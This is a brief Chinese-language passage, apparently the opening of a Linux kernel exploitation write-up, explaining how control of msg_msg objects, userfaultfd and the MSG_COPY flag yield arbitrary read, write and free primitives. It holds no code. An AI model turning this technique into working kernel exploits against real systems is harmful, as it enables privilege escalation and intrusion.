在Linux內核中,如果我們可以控制kernel heap上的 struct msg_msg ,并且允許用戶態自定義userfaultfd的使用,且內核開啟了 CONFIG_CHECKPOINT_RESTORE 時。可以利用struct msg_msg 以及其后續的 struct msg_msgseg 結構,通過調整MSG_COPY標簽,調用 msgsnd 完成內核態分配操作與寫操作;調用 msgrcv 完成內核態釋放操作與讀操作。
進而可以構造任意地址讀寫的原語;以及通過構造惡意的msg_msg鏈表,可以構造出任意地址釋放的原語。最終根據具體情況不同,可以用于內核態的漏洞利用。